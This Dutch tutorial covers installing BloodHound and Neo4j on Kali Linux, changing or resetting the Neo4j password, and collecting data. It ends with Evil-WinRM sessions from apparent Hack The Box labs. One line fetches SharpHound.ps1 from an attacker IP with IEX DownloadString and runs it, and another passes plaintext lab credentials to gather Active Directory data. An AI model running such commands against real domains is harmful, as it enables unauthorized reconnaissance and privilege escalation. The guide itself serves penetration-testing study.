Intro
Ik heb de afgelopen maanden een paar mensen gehad die me vroegen hoe ik Bloodhound aan de praat kon krijgen nadat ik haar aanbevolen heb sinds ik de video “Six Degrees to Domain Admin” zag van BSIDES Las Vegas. Als je de video waarnaar ik verwijs nog steeds niet heb gezien, stel ik voor dat je een kijkje neemt voordat je doorgaat.
Het is echt zo’n geweldig hulpmiddel en ik raad het ten zeerste aan niet alleen info-sec professionals, maar aan iedereen die een Active Directory-omgeving beheert.
Het geweldige nieuws is dat Bloodhound zich nu in de Kali Linux-repository bevindt en super gemakkelijk is te installeren is ,ik zal je laten zien hoe.
Zorg voor een up-to-date systeem.
Zorg er ten eerste voor dat u de nieuwste en beste gebruikt door een dist-upgrade zoals deze uit te voeren.
apt-get update
en toen
apt-get dist-upgrade
Bloodhound installeren
Je raadt het al, voer gewoon het volgende uit. Bloodhound is afhankelijk van neo4j, dus dat wordt ook geïnstalleerd.
apt-get install bloodhound
.
root@kali:/usr/share/neo4j# mkdir run root@kali:/usr/share/neo4j# mkdir log root@kali:/usr/share/neo4j# neo4j start Active database: graph.db Directories in use: home: /usr/share/neo4j config: /usr/share/neo4j/conf logs: /usr/share/neo4j/logs plugins: /usr/share/neo4j/plugins import: /usr/share/neo4j/import data: /usr/share/neo4j/data certificates: /usr/share/neo4j/certificates run: /usr/share/neo4j/run Starting Neo4j. WARNING: Max 1024 open files allowed, minimum of 40000 recommended. See the Neo4j manual. Started neo4j (pid 1653). It is available at http://localhost:7474/ There may be a short delay until the server is ready. See /usr/share/neo4j/logs/neo4j.log for current status. root@kali:/usr/share/neo4j#
note : als je “neo4j start” niet uitvoert voordat je bloodhound start, kan je met bloodhound niet connecten naar de database ( en dus niet inloggen mbv bloodhound)
Wijzig het standaardwachtwoord voor Neo4j
We moeten echt het standaardwachtwoord voor Neo4j wijzigen, weet je … Om redenen.
Laten we Neo4j lanceren
neo4j console
We hebben nu een externe interface beschikbaar op http: // localhost: 7474 . Laten we daarheen gaan via een browser en dat standaardwachtwoord wijzigen. Je zult ook zien dat het Bolt op de localhost heeft ingeschakeld, we hebben dit nodig voor later.
Log in met de standaardreferenties (hieronder) en u wordt vervolgens gevraagd om het wachtwoord te wijzigen: –
- Gebruikersnaam: neo4j
- Wachtwoord: neo4j
Ga je gang en voltooi de wachtwoordwijziging en sluit het browservenster.
Neo4j Reset Password Method
This methods needs help of the system admin. This will work, if you have forgot the password.
As you ne4j system admin to remove auth file from <neo4j location>/data/dbms/auth and restart the neo4j DB. [Fig 4 – Remove auth and restart neo4j ]
sudo rm -rf ./data/dbms/auth
sudo bash ./bin/neo4j restart or manualy which i do
root@kali:/usr/share/neo4j# neo4j console Active database: graph.db Directories in use: home: /usr/share/neo4j config: /usr/share/neo4j/conf logs: /usr/share/neo4j/logs plugins: /usr/share/neo4j/plugins import: /usr/share/neo4j/import data: /usr/share/neo4j/data certificates: /usr/share/neo4j/certificates run: /usr/share/neo4j/run Starting Neo4j. WARNING: Max 1024 open files allowed, minimum of 40000 recommended. See the Neo4j manual. 2020-02-18 11:48:59.550+0000 INFO ======== Neo4j 3.5.3 ======== 2020-02-18 11:48:59.582+0000 INFO Starting... 2020-02-18 11:49:05.459+0000 INFO Bolt enabled on 127.0.0.1:7687. 2020-02-18 11:49:09.717+0000 INFO Started. 2020-02-18 11:49:12.184+0000 INFO Remote interface available at http://localhost:7474/ 2020-02-18 11:49:31.681+0000 WARN The client is unauthorized due to authentication failure. 2020-02-18 11:49:32.048+0000 WARN The client is unauthorized due to authentication failure.
After restart, Open neo4j in browser and try login using default credentials, neo4j/neo4j . Soon after login, you will be prompted to enter new password. [Fig 5 Reset password]
Successfully you have rest the neo4j password.
Laat de hond het bloed zien
Open een nieuw terminalvenster en voer het volgende commando uit om Bloodhound te starten, laat de Neo4j-console draaien om voor de hand liggende redenen.
bloodhound
Zoals u kunt zien, is Bloodhound nu actief en wacht het op gebruikersinvoer. Eerder bij het lanceren van Neo4j werd ook Bolt on bolt ingeschakeld: //127.0.0.1: 7687. U moet dit gebruiken als uw database-URL.
- Database-URL – http: //127.0.0.1: 7687
- Gebruikersnaam – neo4j
- Wachtwoord – uw nieuw gewijzigde wachtwoord
Druk op login en je zou de Bloodhound-tool moeten zien, minus alle gegevens. U kunt nu uw gegevens importeren en analyseren.
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> powershell -command "IEX(New-Object Net.WebClient).DownloadString('http://10.10.16.70/SharpHound.ps1'); Invoke-BloodHound -CollectionMethod All -Verbose -LdapUSer 'svc_****mgr' -LdapPass 'Money********worldgoround!'" *Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> download 20200218102507_BloodHound.zip Info: Downloading 20200218102507_BloodHound.zip to 20200218102507_BloodHound.zip Info: Download successful!
Hopelijk was dit een leuke en snelle gids om iedereen te helpen die problemen had om aan de slag te gaan met de geweldige tool die Bloodhound is.
Ik wil ook even de tijd nemen om @ _wald0 , @CptJesus en @ harmj0y te bedanken voor hun voortdurende harde werk aan dit geweldige project.
Gezondheid mannen!
Nog even een voorbeeld :
data verkrijgen:
upload SharpHound.ps1
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> upload /root/htb/SharpHound.ps1 C:\Users\svc-alfresco\Documents Info: Uploading /root/htb/SharpHound.ps1 to C:\Users\svc-alfresco\Documents Data: 1226060 bytes of 1226060 bytes copied Info: Upload successful! *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Import-module .\SharpHound.ps1 *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Invoke-BloodHound -CollectionMethod all -Domain htb.local -LdapUser svc-alfresco -LdapPass s3rvice
nadat dit gedaan te hebben, hebben we een zip. Deze kunnen we downloaden met evil-winrm
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> download C:\Users\svc-alfresco\Documents\20200102015742_BloodHound.zip /root/htb/puckiestyle.zip Info: Downloading C:\Users\svc-alfresco\Documents\20200102015742_BloodHound.zip to /root/htb/puckiestyle.zip Info: Download successful!
En het vervolgens importeren in bloodhound
Gebruikte bestanden : https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1
Auteur: Jacco Straathof